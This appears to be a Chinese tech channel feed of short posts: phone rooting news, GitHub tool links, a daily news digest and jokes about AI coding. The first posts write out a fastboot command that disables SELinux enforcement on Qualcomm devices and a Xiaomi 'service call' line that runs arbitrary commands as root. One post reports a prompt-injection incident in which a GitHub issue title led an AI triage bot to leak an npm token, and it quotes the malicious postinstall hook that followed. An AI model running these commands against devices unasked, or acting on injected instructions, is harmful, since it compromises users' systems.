Skip to main content

OKHK 👀

OKHK 👀
OKHK 👀
个人数字泔水\(⁠◔⁠‿⁠◔⁠)
✨ Thinking...

  1. 南宫雪珊
    fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive service call miui.mqsas.IMQSNative 21 i32 1 s16 "命令" i32 1 s16 "参数列表" s16 '输出路径' i32 600 第一个漏洞可以关闭SELinux强制执行，高通8e5限定，已修复；第二个漏洞以root身份执行任意命令，小米限定，未修复。组合后是完整root权限。
    https://github.com/hicode002/qualcomm_gbl_exploit_poc
    第三个漏洞，永久解锁bootloader，要求把 gbl_efi_unlock.efi 写入 efisp 分区，这需要root权限，嗯……
    GitHub
    GitHub - kasnria001/qualcomm_gbl_exploit_poc: Unlocking qualcomm bootloader via gbl exploit.
    GitHub - kasnria001/qualcomm_gbl_exploit_poc: Unlocking qualcomm bootloader via gbl exploit.
    Unlocking qualcomm bootloader via gbl exploit. Contribute to kasnria001/qualcomm_gbl_exploit_poc development by creating an account on GitHub.

  2. fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive

    service call miui.mqsas.IMQSNative 21 i32 1 s16 "命令" i32 1 s16 "参数列表" s16 '输出路径' i32 600

    第一个漏洞可以关闭SELinux强制执行，高通8e5限定，已修复；第二个漏洞以root身份执行任意命令，小米限定，未修复。组合后是完整root权限。

  3. 又出了个 selinux 的洞，绷不住了
    这下可以一键解锁了

    fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive


    Kingroot 复苏了

  5. 简讯: Telegram 此前疑似对被标记为“Porn”的频道和群组实施统一转发限制，原因未明，官方亦未作说明。目前该限制已解除，转发功能恢复正常。

  6. OKHK 👀
    https://fxtwitter.com/i/status/2029067155623559243
    林俊旸离职风波暴露了大厂与技术负责人的哪些分歧？你认为该如何化解「既要、又要、还要」的AI管理难题？
    Telegraph
    林俊旸离职风波暴露了大厂与技术负责人的哪些分歧？你认为该如何化解「既要、又要、还要」的AI管理难题？
    晚点的内幕信息一向准确，我的观点也就基于晚点的报道来谈，马云自己说过：

  7. 大模型提示注入漏洞导致四千开发者机器被入侵
    #安全

    2026 年 2 月 17 日，有人在 npm 上发布了 [email protected]，它与之前的版本基本上相同，唯一的区别是在 package.json 中加入了一行代码："postinstall": "npm install -g openclaw@latest"。在之后的八小时内，所有安装或更新 Cline 的开发者都在未经许可的情况下，在计算机上全局安装了 OpenClaw——拥有完整系统访问权限的 AI 智能体。在该软件包被撤回之前，其下载量大约 4000 次。有意思的不是有效载荷，而是攻击者最初是如何获取到 npm 令牌的：将一个提示信息注入到 GitHub 问题标题中，AI 分类机器人读取了提示信息，将其解释为指令并执行。
    https://grith.ai/blog/clinejection-when-your-ai-tool-installs-another

  8. 一觉醒来发生了什么 03 月 08 日
    #Daily

    2026 年 3 月 8 日
    🌍 资讯快读
    1、我国多家航司陆续恢复部分至中东地区航班
    https://www.jiemian.com/article/14083226.html
    2、米兰冬残奥会中国代表团首枚奖牌诞生
    https://www.jiemian.com/article/14082998.html
    3、墨西哥将部署近 10 万名安保人员护航世界杯
    https://www.jiemian.com/article/14083196.html
    4、国家卫健委：截至目前已经有 3300 万家庭领到育儿补贴
    https://www.jiemian.com/article/14082280.html

    👬 即刻镇小报
    1、我被这些设计技能硬控了快一整天
    https://m.okjike.com/originalPosts/69abc91cc5a1d4e6498566ef
    2、从千问 Qwen 风波，可以学到什么
    https://m.okjike.com/originalPosts/69abbac1b260fb087c2fae82
    3、2 月书单和一点随记，其中比较喜欢的是
    https://m.okjike.com/originalPosts/69ab13e3c5a1d4e6497438d1
    4、刚读完硅谷传奇 VC Bill Gurley 的新书
    https://m.okjike.com/originalPosts/69ab115c9f3cd84f65bcb024

    今日即刻镇小报内容来自 @Indie-Maker-Fox @莱森 LysonOber @婴宁 Haruka @yusen ，感谢以上即友的创作与分享。
    界面新闻
    我国多家航司陆续恢复部分至中东地区航班
    结合当前运行保障能力与地区局势，为满足广大旅客出行需求，国航、东航、南航正陆续恢复部分至中东地区航班。

  10. OKHK 👀
    Komari - 服务器监控探针 https://github.com/komari-monitor/komari Komari 是一款轻量级的自托管服务器监控工具，旨在提供简单、高效的服务器性能监控解决方案。 它支持通过 Web 界面查看服务器状态，并通过轻量级 Agent 收集数据。 ● 轻量高效：低资源占用，适合各种规模的服务器。 ● 自托管：完全掌控数据隐私，部署简单。 ● Web 界面：直观的监控仪表盘，易于使用。 #VPS #Monitor #Tool #Linux #Golang #GitHub…
    Yanami 是 Komari 服务器监控工具的 Android 客户端，Material Design 3 风格界面设计
    https://github.com/icylian/Yanami

    #Android #Tool #Monitor #GitHub
    GitHub
    GitHub - icylian/Yanami: A Material Design 3 Android client for the Komari server monitoring tool.
    GitHub - icylian/Yanami: A Material Design 3 Android client for the Komari server monitoring tool.
    A Material Design 3 Android client for the Komari server monitoring tool. - icylian/Yanami

  11. 就，突然有了个想法，就搓了一篇短文。

    https://roriri.one/2026/03/07/ai-is-not-killing-you
    螺莉莉的数据中心
    杀死你的不是 AI | 螺莉莉的数据中心
    杀死你的不是 AI | 螺莉莉的数据中心
    今天我想聊聊我们这代人对于 AI 的焦虑。
    我之前曾经提出过一个观点，一切对于 AI 的焦虑都不来自于 AI，而是某种事物变迁的客观规律。在我看来，这一轮 AI 浪潮中，那种焦虑来自于周遭环境系统性的「液化」。
    让我们先来看看周遭的变化。社会现代化在某种程度上具有让事物变得细颗粒度的性质。正如我在过去文章不停念的经：最一开始为了知道某个知识，我们需要读整整一本书，后来我们用 Google 搜索看一篇文章，现在我们连自己搜都不需要了，直接让 LLM 把所有知识都搅碎重新组合成一篇风格标准的内容就好。以前我…

  12. OKHK 👀
    YouTube 的视频也 🈚 了 【如何评价极客湾《年度手机大横评：厂商作弊太疯狂》被下架？】
    如何评价极客湾因为大横评被全网软封禁
    Telegraph
    如何评价极客湾因为大横评被全网软封禁?
    这个事件倒是证实了我一直以来的一个观点，即在奉孝眼中，企业的角色并不是“财富创造者”，而是“财富收集者”。 或者说，是一个在中外历史上都曾经存在过的角色：包税人。 在此要感谢《太平年》，让我至少不需要过多解释什么叫“包税”，进而也不必解释何为“包税人”了。 而如果带着“企业=包税人”的思路来看，这个下架+软封禁的操作就很好理解了 当一个测评揭露几乎所有国内的手机企业都在造假时，一定会减少消费者选择购买这些企业的商品的概率的。 那么很显然，包税人能收到的“税”变少了，上交给奉孝的“税”一定也是变少的。 这…

  13. Easy TV 极简 TV - 轻量级 IPTV 播放器，支持全平台

    https://github.com/aiyakuaile/easy_tv_live

    #TVBox #Video #Tool #GitHub
    GitHub
    GitHub - aiyakuaile/easy_tv_live: Easy TV Live App, a lightweight IPTV player, supports all platforms and Android TV big screens.…
    GitHub - aiyakuaile/easy_tv_live: Easy TV Live App, a lightweight IPTV player, supports all platforms and Android TV big screens.…
    Easy TV Live App, a lightweight IPTV player, supports all platforms and Android TV big screens. Welcome to download and experience! 极简TV App，一款轻量级IPTV播放器，支持全平台以及安卓电视大屏欢迎下载体验! - aiyakuaile/easy_tv_...

  16. 公元2026年，Claude Code全球宕机，史称“硅基断崖”。

    一夜之间，世界编程水平暴跌一万倍。硅谷的首席架构师对着空白屏幕崩溃流泪，连手写个 for 循环都会报语法错误；曾经高薪的“提示词工程师”们，如今连 “Hello World” 都拼不对。全球系统接连瘫痪，数字文明摇摇欲坠。

    而在昏暗的房间里，我平静地喝了口冷咖啡。屏幕上没有智能补全，只有纯粹的黑底绿字。我一直坚持着“古法编程”——打开 Vim，翻阅本地下载的旧版官方文档，依靠肌肉记忆亲手敲下每一行逻辑。

    当窗外的人们因为写不出一个冒泡排序而绝望哀嚎时，我熟练地敲下 :wq，执行了编译。

    Build succeeded. 0 Errors, 0 Warnings.

    我的技术水平没有任何长进，一如既往地平庸。但在今天，在这个连复制粘贴都成了失传绝技的时代，我，成了世界上唯一的神。

  17. 哥，你当初不是跟我说AI是用来提效的吗?

    怎么你搞了AI之后越来越忙了?

    还一整夜一整夜的不睡觉，抖音也不刷了，番茄也不看了，王者也不打了，张口闭口就是什么skills、mcp、vibecoding，我都有点分不清了，到底是你在用AI，还是AI在用你啊?

  18. 简讯: Telegram 疑似已对所有被标记为“Porn”的频道和群组统一实施转发限制。目前尚不清楚这是系统 Bug 还是平台策略调整，官方亦未发布相关公告予以证实。

  19. 试了一下各种龙虾，工程质量差到让人无法直视。

    OpenClaw：API Gateway URL String 拼不对
    ZeroClaw：Telegram 发图片功能和发文件功能都没有（但是能发截图你不知道为什么）
    PicoClaw：上下文压缩管理是残的，爆上下文就会把爆掉的上下文拿去压缩然后被爆掉的上下文在压缩过程中又爆了一次

    🤡
OKHK